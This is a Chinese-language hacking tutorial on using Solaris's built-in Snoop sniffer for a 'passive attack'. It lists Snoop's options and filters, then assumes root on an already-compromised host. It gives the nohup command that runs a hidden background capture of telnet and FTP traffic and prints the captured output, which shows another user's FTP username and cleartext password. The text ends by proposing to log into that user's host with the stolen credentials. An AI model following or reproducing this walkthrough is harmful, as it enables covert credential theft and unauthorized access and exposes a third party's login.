我們來看一個使用Sniffer進行被動攻擊的實際例子。假設(shè)我們已經(jīng)通過某種方法成功的攻人了 Solaris 主機 202.11.22.33(本文隱藏了實際 IP地址,下同)并且獲得這臺主機上的最高root權(quán)限。那么,現(xiàn)在我們就可以在這臺主機上使用Sniffer來嗅探此網(wǎng)段上傳輸?shù)拿艽a。
1.Snoop簡介
在Solaris系統(tǒng)中有一個默認安裝的Sniffer軟件叫做Snoop,所以沒有必要重新安裝其他的Sniffer了,可以直接使用Snoop來進行嗅探。下面簡要介紹一下Snoop的使用方法。
Snoop 是一個命令行的軟件,它的使用方法為:Snoop[選項][過濾條]
其中選項包括:
[-a]# 在 audio上監(jiān)聽
[-d device]# 設(shè)置的監(jiān)聽設(shè)備
[-s snaplen]# 將包截短
[-c count]#設(shè)置捕獲包的數(shù)量
[-P]#關(guān)閉混雜模式
[-D]# 報告掉包
[-S]#報告包大小
[-i file]#從文件讀人記錄
[-o file]#把捕獲情況存人文件
[-n flle]#從文件讀人域名表
[-N]# 創(chuàng)建域名表
[-t r|a|d]#設(shè)置時間,可以為相對或絕對時間
[-v]#詳細的包信息顯示
[-V]#顯示所有包信息
[-p first[,last] ]#顯示指定的包
[-x offset[,length] ]# 顯示 16進制數(shù)據(jù)
[-C]# 顯示包過濾碼
其中最常用的選項是-o和-c,通過一o選項可以把捕獲情況輸出到一個文件中,否則會顯示在屏幕上。通過-c可以設(shè)置要捕獲包的數(shù)量,否則就會無限制地捕獲傳輸?shù)陌?br>Snoop的重點在于設(shè)置過濾條件,所謂過濾條件就是我們要捕獲什么樣的包,因為以太網(wǎng)上傳輸?shù)臄?shù)據(jù)量一般是相當(dāng)大的,所以不能捕獲所有傳輸?shù)陌駝t會無法找到我們要的信息,于是我們就設(shè)置一個過濾條件,只捕獲我們要的包,例如含有密碼的包。
過濾條件主要包括from、to、net和 port。其中from是指從特定主機發(fā)送過來的包,to是指發(fā)送到特定主機的包,net是來自或發(fā)往特定網(wǎng)絡(luò)的包,port是指來自或發(fā)往特定端口的包。這些過濾條件可以通過and(且關(guān)系)、or(或關(guān)系)和not(非關(guān)系)來進行組合。例如,下面Snoop命令捕獲所有來自192.168.3.12地址的DNS和NFS包:
snoop from 192.168.3.12 port domain or rpc nfs
2.SnooP攻擊實例
假設(shè)我們已經(jīng)通過某種方法成功的攻人了Solaris主機 202.11.22.33(本文隱藏了實際IP地址,下同)并且獲得這臺主機上的最高root權(quán)限。那么現(xiàn)在我們就可以在這臺主機上使用Snoop來嗅探此同段上傳輸?shù)拿艽a。
首先我們使用find命令查找一下此主機上的Snoop安裝在哪里:
#find/-name snoop -print
/usr/sbin/snoop
因為我們的目的是捕獲網(wǎng)絡(luò)上傳輸?shù)拿艽a,所以我們要設(shè)置Snoop的過濾選項來捕獲網(wǎng)絡(luò)上所有的 telnet和 ftp包,使用下面的命令:
#nohup /usr/sbin/snoop -o slog -c 10000 port
telnet or port ftp&
我們使用nohup和&來把Snoop掛在后臺運行,這樣,當(dāng)我們從終端退出的時候,Snoop仍然可以在后臺運行。并且我們使用-o把嗅探結(jié)果保存在文件slog里,使用-c選項來設(shè)置一共捕獲10000個包,以免捕獲數(shù)據(jù)量太大而占據(jù)硬盤空間。port telnet or ftp就是過濾選項,它設(shè)置只捕獲Telnet和FTP包,因為這兩種協(xié)議都使用密碼驗證而且密碼不加密。
然后我們就可以退出登錄,第二天再次登錄上這臺主機,可以看到當(dāng)前目錄下有一個slog文件,這就是嗅探結(jié)果。但是要注意這個文件不是文本文件,不能使用cat命令直接查看,必須用Snoop的-i選項來查看,使用如下命令:
#/usr/sbin/snoop -i slog |more
這里,我們使用more來一點一點查看,發(fā)現(xiàn) 輸出中有以下片段:
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
220 202.11.22.68
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
USER bode\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
331 Password require
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
PASS zhangjm\r\n
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
202.11.22.68->gi-12-107.bta.net.cn FTP R POrt=1924
230 user bode logged
gi-12-107.bta.net.cn->202.11.22.68 FTP C port=1924
通過上面的記錄我們可以看到,來自gi-12-107.bta.net.cn的用戶使用 FTP登錄上了202.11.22.68主機,它使用的用戶名為bode,密碼為zhangjm。于是我們就可以使用這個用戶名和密碼來登錄上202.11.22.68了。